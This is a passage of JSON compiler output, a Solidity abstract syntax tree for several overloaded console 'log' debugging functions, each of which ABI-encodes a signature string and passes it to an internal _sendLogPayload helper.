02,"src":"24601:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26482,"name":"string","nodeType":"ElementaryTypeName","src":"24601:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26485,"mutability":"mutable","name":"p2","nameLocation":"24633:2:15","nodeType":"VariableDeclaration","scope":26502,"src":"24619:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26484,"name":"string","nodeType":"ElementaryTypeName","src":"24619:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26487,"mutability":"mutable","name":"p3","nameLocation":"24642:2:15","nodeType":"VariableDeclaration","scope":26502,"src":"24637:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26486,"name":"bool","nodeType":"ElementaryTypeName","src":"24637:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"24588:57:15"},"returnParameters":{"id":26489,"nodeType":"ParameterList","parameters":[],"src":"24660:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26525,"nodeType":"FunctionDefinition","src":"24774:198:15","nodes":[],"body":{"id":26524,"nodeType":"Block","src":"24861:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c737472696e672c6164647265737329","id":26516,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"24911:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_d583c60265ad086fe6216ef9aea37bf5de1e77bdf9055c734c55781d5f4b81d7","typeString":"literal_string \"log(uint256,string,string,address)\""},"value":"log(uint256,string,string,address)"},{"id":26517,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26504,"src":"24949:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26518,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26506,"src":"24953:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26519,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26508,"src":"24957:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26520,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26510,"src":"24961:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d583c60265ad086fe6216ef9aea37bf5de1e77bdf9055c734c55781d5f4b81d7","typeString":"literal_string \"log(uint256,string,string,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":26514,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"24887:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26515,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"24891:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"24887:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26521,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24887:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26513,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"24871:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26522,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24871:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26523,"nodeType":"ExpressionStatement","src":"24871:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"24783:3:15","parameters":{"id":26511,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26504,"mutability":"mutable","name":"p0","nameLocation":"24795:2:15","nodeType":"VariableDeclaration","scope":26525,"src":"24787:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26503,"name":"uint256","nodeType":"ElementaryTypeName","src":"24787:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26506,"mutability":"mutable","name":"p1","nameLocation":"24813:2:15","nodeType":"VariableDeclaration","scope":26525,"src":"24799:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26505,"name":"string","nodeType":"ElementaryTypeName","src":"24799:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26508,"mutability":"mutable","name":"p2","nameLocation":"24831:2:15","nodeType":"VariableDeclaration","scope":26525,"src":"24817:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26507,"name":"string","nodeType":"ElementaryTypeName","src":"24817:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26510,"mutability":"mutable","name":"p3","nameLocation":"24843:2:15","nodeType":"VariableDeclaration","scope":26525,"src":"24835:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26509,"name":"address","nodeType":"ElementaryTypeName","src":"24835:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"24786:60:15"},"returnParameters":{"id":26512,"nodeType":"ParameterList","parameters":[],"src":"24861:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26548,"nodeType":"FunctionDefinition","src":"24978:187:15","nodes":[],"body":{"id":26547,"nodeType":"Block","src":"25056:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c626f6f6c2c75696e7432353629","id":26539,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"25106:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_cf00988004d982e10d8d4fa7f603a1414e3b2b91cdfcf6f72808ca6c3100f96a","typeString":"literal_string \"log(uint256,string,bool,uint256)\""},"value":"log(uint256,string,bool,uint256)"},{"id":26540,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26527,"src":"25142:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26541,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26529,"src":"25146:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26542,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26531,"src":"25150:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26543,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26533,"src":"25154:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_cf00988004d982e10d8d4fa7f603a1414e3b2b91cdfcf6f72808ca6c3100f96a","typeString":"literal_string \"log(uint256,string,bool,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":26537,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"25082:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26538,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"25086:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"25082:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26544,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25082:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26536,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"25066:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26545,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25066:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26546,"nodeType":"ExpressionStatement","src":"25066:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"24987:3:15","parameters":{"id":26534,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26527,"mutability":"mutable","name":"p0","nameLocation":"24999:2:15","nodeType":"VariableDeclaration","scope":26548,"src":"24991:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26526,"name":"uint256","nodeType":"ElementaryTypeName","src":"24991:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26529,"mutability":"mutable","name":"p1","nameLocation":"25017:2:15","nodeType":"VariableDeclaration","scope":26548,"src":"25003:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26528,"name":"string","nodeType":"ElementaryTypeName","src":"25003:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26531,"mutability":"mutable","name":"p2","nameLocation":"25026:2:15","nodeType":"VariableDeclaration","scope":26548,"src":"25021:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26530,"name":"bool","nodeType":"ElementaryTypeName","src":"25021:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26533,"mutability":"mutable","name":"p3","nameLocation":"25038:2:15","nodeType":"VariableDeclaration","scope":26548,"src":"25030:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26532,"name":"uint256","nodeType":"ElementaryTypeName","src":"25030:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"24990:51:15"},"returnParameters":{"id":26535,"nodeType":"ParameterList","parameters":[],"src":"25056:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26571,"nodeType":"FunctionDefinition","src":"25171:192:15","nodes":[],"body":{"id":26570,"nodeType":"Block","src":"25255:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c626f6f6c2c737472696e6729","id":26562,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"25305:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_d2d423cdca0e3ae7a0a1a283a67d891c85787b75e0c5291c02d15317d67fe45c","typeString":"literal_string \"log(uint256,string,bool,string)\""},"value":"log(uint256,string,bool,string)"},{"id":26563,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26550,"src":"25340:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26564,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26552,"src":"25344:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26565,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26554,"src":"25348:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26566,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26556,"src":"25352:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d2d423cdca0e3ae7a0a1a283a67d891c85787b75e0c5291c02d15317d67fe45c","typeString":"literal_string \"log(uint256,string,bool,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":26560,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"25281:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26561,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"25285:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"25281:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26567,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25281:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26559,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"25265:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26568,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25265:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26569,"nodeType":"ExpressionStatement","src":"25265:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"25180:3:15","parameters":{"id":26557,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26550,"mutability":"mutable","name":"p0","nameLocation":"25192:2:15","nodeType":"VariableDeclaration","scope":26571,"src":"25184:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26549,"name":"uint256","nodeType":"ElementaryTypeName","src":"25184:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26552,"mutability":"mutable","name":"p1","nameLocation":"25210:2:15","nodeType":"VariableDeclaration","scope":26571,"src":"25196:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26551,"name":"string","nodeType":"ElementaryTypeName","src":"25196:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26554,"mutability":"mutable","name":"p2","nameLocation":"25219:2:15","nodeType":"VariableDeclaration","scope":26571,"src":"25214:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26553,"name":"bool","nodeType":"ElementaryTypeName","src":"25214:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26556,"mutability":"mutable","name":"p3","nameLocation":"25237:2:15","nodeType":"VariableDeclaration","scope":26571,"src":"25223:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26555,"name":"string","nodeType":"ElementaryTypeName","src":"25223:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"25183:57:15"},"returnParameters":{"id":26558,"nodeType":"ParameterList","parameters":[],"src":"25255:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26594,"nodeType":"FunctionDefinition","src":"25369:181:15","nodes":[],"body":{"id":26593,"nodeType":"Block","src":"25444:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c626f6f6c2c626f6f6c29","id":26585,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"25494:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_ba535d9cec0fb8bbd83e61b83d0f575d149cba6778a192239c1bdc5170053e4f","typeString":"literal_string \"log(uint256,string,bool,bool)\""},"value":"log(uint256,string,bool,bool)"},{"id":26586,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26573,"src":"25527:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26587,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26575,"src":"25531:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26588,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26577,"src":"25535:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26589,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26579,"src":"25539:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ba535d9cec0fb8bbd83e61b83d0f575d149cba6778a192239c1bdc5170053e4f","typeString":"literal_string \"log(uint256,string,bool,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":26583,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"25470:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26584,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"25474:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"25470:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26590,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25470:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26582,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"25454:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26591,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25454:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26592,"nodeType":"ExpressionStatement","src":"25454:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"25378:3:15","parameters":{"id":26580,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26573,"mutability":"mutable","name":"p0","nameLocation":"25390:2:15","nodeType":"VariableDeclaration","scope":26594,"src":"25382:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26572,"name":"uint256","nodeType":"ElementaryTypeName","src":"25382:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26575,"mutability":"mutable","name":"p1","nameLocation":"25408:2:15","nodeType":"VariableDeclaration","scope":26594,"src":"25394:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26574,"name":"string","nodeType":"ElementaryTypeName","src":"25394:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26577,"mutability":"mutable","name":"p2","nameLocation":"25417:2:15","nodeType":"VariableDeclaration","scope":26594,"src":"25412:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26576,"name":"bool","nodeType":"ElementaryTypeName","src":"25412:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26579,"mutability":"mutable","name":"p3","nameLocation":"25426:2:15","nodeType":"VariableDeclaration","scope":26594,"src":"25421:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26578,"name":"bool","nodeType":"ElementaryTypeName","src":"25421:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"25381:48:15"},"returnParameters":{"id":26581,"nodeType":"ParameterList","parameters":[],"src":"25444:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26617,"nodeType":"FunctionDefinition","src":"25556:187:15","nodes":[],"body":{"id":26616,"nodeType":"Block","src":"25634:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c626f6f6c2c6164647265737329","id":26608,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"25684:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_ae2ec581fba979c4f79aae94f13936ff6bb7e283817b2ec0602d9daa028a1550","typeString":"literal_string \"log(uint256,string,bool,address)\""},"value":"log(uint256,string,bool,address)"},{"id":26609,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26596,"src":"25720:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26610,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26598,"src":"25724:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26611,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26600,"src":"25728:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26612,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26602,"src":"25732:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ae2ec581fba979c4f79aae94f13936ff6bb7e283817b2ec0602d9daa028a1550","typeString":"literal_string \"log(uint256,string,bool,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":26606,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"25660:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26607,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"25664:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"25660:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26613,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25660:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26605,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"25644:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26614,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25644:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26615,"nodeType":"ExpressionStatement","src":"25644:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"25565:3:15","parameters":{"id":26603,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26596,"mutability":"mutable","name":"p0","nameLocation":"25577:2:15","nodeType":"VariableDeclaration","scope":26617,"src":"25569:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26595,"name":"uint256","nodeType":"ElementaryTypeName","src":"25569:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26598,"mutability":"mutable","name":"p1","nameLocation":"25595:2:15","nodeType":"VariableDeclaration","scope":26617,"src":"25581:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26597,"name":"string","nodeType":"ElementaryTypeName","src":"25581:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26600,"mutability":"mutable","name":"p2","nameLocation":"25604:2:15","nodeType":"VariableDeclaration","scope":26617,"src":"25599:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26599,"name":"bool","nodeType":"ElementaryTypeName","src":"25599:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26602,"mutability":"mutable","name":"p3","nameLocation":"25616:2:15","nodeType":"VariableDeclaration","scope":26617,"src":"25608:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26601,"name":"address","nodeType":"ElementaryTypeName","src":"25608:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"25568:51:15"},"returnParameters":{"id":26604,"nodeType":"ParameterList","parameters":[],"src":"25634:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26640,"nodeType":"FunctionDefinition","src":"25749:193:15","nodes":[],"body":{"id":26639,"nodeType":"Block","src":"25830:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c616464726573732c75696e7432353629","id":26631,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"25880:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_e8d3018d32ee5012095e63c81679b366f06035e83d43be351e9c327886860908","typeString":"literal_string \"log(uint256,string,address,uint256)\""},"value":"log(uint256,string,address,uint256)"},{"id":26632,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26619,"src":"25919:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26633,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26621,"src":"25923:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string 